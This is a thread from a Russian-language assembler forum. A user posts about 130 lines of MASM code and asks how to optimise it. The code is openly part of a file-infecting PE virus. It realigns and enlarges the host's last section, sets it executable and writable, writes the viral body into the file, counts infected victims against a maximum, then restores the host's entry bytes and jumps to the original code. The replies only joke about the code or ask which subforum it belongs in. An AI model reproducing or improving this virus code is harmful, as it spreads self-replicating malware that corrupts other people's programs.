Форум программистов, компьютерный форум, киберфорум
Assembler, MASM, TASM
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.57/7: Рейтинг темы: голосов - 7, средняя оценка - 4.57
0 / 0 / 0
Регистрация: 23.12.2014
Сообщений: 2

Секции PE-файла

23.12.2014, 20:24. Показов 1403. Ответов 3
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Как можно оптимизировать этот код -?

Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
; Выравниваем физический размер секции
_AlgnPhSz:
    mov  ebx, [esi + 3Ch]                         ; esi = VA of PE header
    add  [esi + 10h], dword ptr Virsize      ; Увеличим физический размер секции
    mov  eax, [esi + 3Ch]                         ; Берем выравнивающий фактор
    
                                                  ; FileAlign
    dec  eax
    add  [esi + 10h], eax
    not  eax
    and  [esi + 10h], eax
 
    ; Выравниваем виртуальный размер
_AlgnVrSz:
    mov   edx, [edi + 0Ch]                       ; Берем виртуальный размер
    jecxz _PtchImSz                              ; Прыгаем, если размер = 0
    add   [edi + 08Ch], dword ptr Virsize         ; Увеличим виртуальный размер секции
    mov   eax, [edi + 38h]                       ; Берем выравнивающий фактор
                                                 ; ObjectAlign
    shl   eax, 1                         
     
    dec   eax
    add   [edi + 08h], eax
    not   eax
    and   [edi + 08h], eax
 
     ; Патчим ImageSize = VirtualRVA(Last section) + VirtualSize(Last section)
_PtchImSz:
    mov   eax, [edi + 0Ch]             ; VirtualRVA(Last section)
    add   eax, [edi + 08h]             ; VirtualSize(Last section)
    mov   [edi + 50h], eax
 
    ; Изменяем флаги, характеризующие секцию
_ObjFlags:
    mov  eax, [esi + 24h]
    .IF !(eax & 00000020h)             ; Секция содержит программный код
        or eax, 00000020h
    .ENDIF
    .IF !(eax & 20000000h)             ; Секция является исполняемой
        or eax, 20000000h
    .ENDIF
    .IF !(eax & 80000000h)             ; Секция может использоваться для 
        or eax, 80000000h
    .ENDIF
    mov  [esi + 24h], eax
 
    _WriteFile:      
    xor esi, esi
    push esi
    push esi
    push esi
    push hFile
    call SetFilePointer
 
    xor  esi, esi
    push delta_off
    push esi
    push esp
    push dwAlignedFileSize
    push pAllocMem
    push hFile
    call WriteFile
    test eax, eax             ; Не удалось записать код в программу
    jz   _CloseFile
 
    ; Инкрементируем счетчик зараженных программ
    lea  esi, infect_count
    add  esi, delta_off
    inc  dword ptr [esi]
 
_CloseFile:
    push hFile
    call CloseHandle
    push pAllocMem
    call GlobalFree
 
    ; Освобождаем стек
    pop  eax
    pop  eax
    pop  eax
    pop  eax
 
    ; Проверим, сколько файлов уже заразили
    lea  esi, infect_count
    add  esi, delta_off
    cmp  dword ptr [esi], MaxVictimNumber    
    jl   _FindNextFileA
    
_Exit:
    push hFind
    call FindClose                 ; Закрываем поиск файлов
    cmp  dword ptr delta_off, 0    ; проверяем поколение
    jz   ExitVirus                 ; поколение первое - завершаемся
 
    ; ищем начало заражаемого файла по сигнатуре на текущей странице памяти 
    mov eax, OFFSET begin_data
    add eax, delta_off
    xor ax, ax
_SearchMZPE_:
    mov   edi, [eax + 3Ch]
    .IF dword ptr [eax] != 5A4Dh || dword ptr [eax + edi] != 5045h
        sub eax, 10000h
        jmp _SearchMZPE_
    .ENDIF
 
    ; Вычисляем EntryPoint VA
    mov edi, eax                      ; edi = VA of MZ header
    add edi, dword ptr [edi + 3Ch]    ; edi = VA of PE header
    mov eax, dword ptr [edi + 28h]    ; eax = RVA of EntryPoint
    add eax, dword ptr [edi + 34h]    ; eax = VA of EntryPoint
    
    pusha
    push esp   ; адрес переменной, в нее возвращается "старый" режим доступа
    push 40h   ; режим доступа (нам нужен 40h)
    push 5h    ; размер области памяти в байтах
    push eax   ; адрес области памяти, чьи атрибуты страниц нужно изменить
    call VirtualProtect
    popa
 
    ; Восстанавливаем 5 байт начала программы-носителя
    mov  ecx, 5h
    lea  esi, save_vir_b
    add  esi, delta_off       ; esi = VA of save_vir_b
    mov  edi, eax             ; edi = VA of EntryPoint
    rep  movsb
 
    ; Прыгаем на код носителя
    jmp  eax
    
ExitVirus:
    push 0
    call _ExitProcess
    
end start
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
23.12.2014, 20:24
Ответы с готовыми решениями:

Замена секции на аналогичную из другого файла
Если коротко - есть exe приложение, dll библиотека. В секции .text библиотека содержит почти ту же информацию (вроде код), что и...

Может ли быть в секции еще секции?
Добрый времени суток. Я самообучаюсь верстке, поэтому у меня к вам такие простые и странные вопросы. Верстаю с бутстрапом. Есть...

Очистка секции ini файла
Как мне программно очистить какую либо секцию ini файла (например 'form1' 'z3' ?)

3
3530 / 2270 / 279
Регистрация: 24.12.2010
Сообщений: 13,723
23.12.2014, 20:32
Цитата Сообщение от Zero-1111 Посмотреть сообщение
Как можно оптимизировать этот код -?
За этот код можно и канделябром)

И что в нем собссно оптимизировать изволишь ?)
0
Модератор
 Аватар для FIL
3492 / 2614 / 742
Регистрация: 19.09.2012
Сообщений: 7,977
23.12.2014, 20:59
Как данная тема связана с Дельфи?
0
0 / 0 / 0
Регистрация: 23.12.2014
Сообщений: 2
23.12.2014, 21:07  [ТС]
Можетие перенесчти в раздел MASM32 не посмотрел.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
23.12.2014, 21:07
Помогаю со студенческими работами здесь

Критические секции и запись/чтение из файла
Приветствую! Работая с COM-портом как с файлом, подумал, что неплохо бы было присобачить к нему CriticalSection, дабы избежать...

Подсчёт записей в секции ini-файла
Как можно подсчитать количество записей из ini-файла? Например, у меня в ini-файле хранятся названия плейлистов, нужно вставить новый...

Стирание секции appSettings из файла App.config
Доброго времени суток, форумчане. У меня появилась необходимость очищать секцию "appSettings" из файла App.config. ...

Структуры. Вывести информацию по победителю в каждой секции и найти средний бал по каждой секции
Ведомости про участников конкурса содержат следующую информацию: фамилию,имя,секцию,набранный балл.Вывести информацию по победителю в...

Как подсчитать количество КЛЮЧЕЙ в секции Ини-файла?
Вот как подсчитать количество секций знаю, прочитать в переменную типа StringListи применить свойство Count, но мне нужно выхватить именно...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
4
Ответ Создать тему
Новые блоги и статьи
SDL3 для Web (WebAssembly): Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 12.02.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами и вызывать обработчики событий столкновения. . . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL_LoadPNG (без SDL3_image)
8Observer8 11.02.2026
Содержание блога Библиотека SDL3 содержит встроенные инструменты для базовой работы с изображениями - без использования библиотеки SDL3_image. Пошагово создадим проект для загрузки изображения. . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL3_image
8Observer8 10.02.2026
Содержание блога Библиотека SDL3_image содержит инструменты для расширенной работы с изображениями. Пошагово создадим проект для загрузки изображения формата PNG с альфа-каналом (с прозрачным. . .
Установка Qt-версии Lazarus IDE в Debian Trixie Xfce
volvo 10.02.2026
В общем, достали меня глюки IDE Лазаруса, собранной с использованием набора виджетов Gtk2 (конкретно: если набирать текст в редакторе и вызвать подсказку через Ctrl+Space, то после закрытия окошка. . .
SDL3 для Web (WebAssembly): Работа со звуком через SDL3_mixer
8Observer8 08.02.2026
Содержание блога Пошагово создадим проект для загрузки звукового файла и воспроизведения звука с помощью библиотеки SDL3_mixer. Звук будет воспроизводиться по клику мышки по холсту на Desktop и по. . .
SDL3 для Web (WebAssembly): Основы отладки веб-приложений на SDL3 по USB и Wi-Fi, запущенных в браузере мобильных устройств
8Observer8 07.02.2026
Содержание блога Браузер Chrome имеет средства для отладки мобильных веб-приложений по USB. В этой пошаговой инструкции ограничимся работой с консолью. Вывод в консоль - это часть процесса. . .
SDL3 для Web (WebAssembly): Обработчик клика мыши в браузере ПК и касания экрана в браузере на мобильном устройстве
8Observer8 02.02.2026
Содержание блога Для начала пошагово создадим рабочий пример для подготовки к экспериментам в браузере ПК и в браузере мобильного устройства. Потом напишем обработчик клика мыши и обработчик. . .
Философия технологии
iceja 01.02.2026
На мой взгляд у человека в технических проектах остается роль генерального директора. Все остальное нейронки делают уже лучше человека. Они не могут нести предпринимательские риски, не могут. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru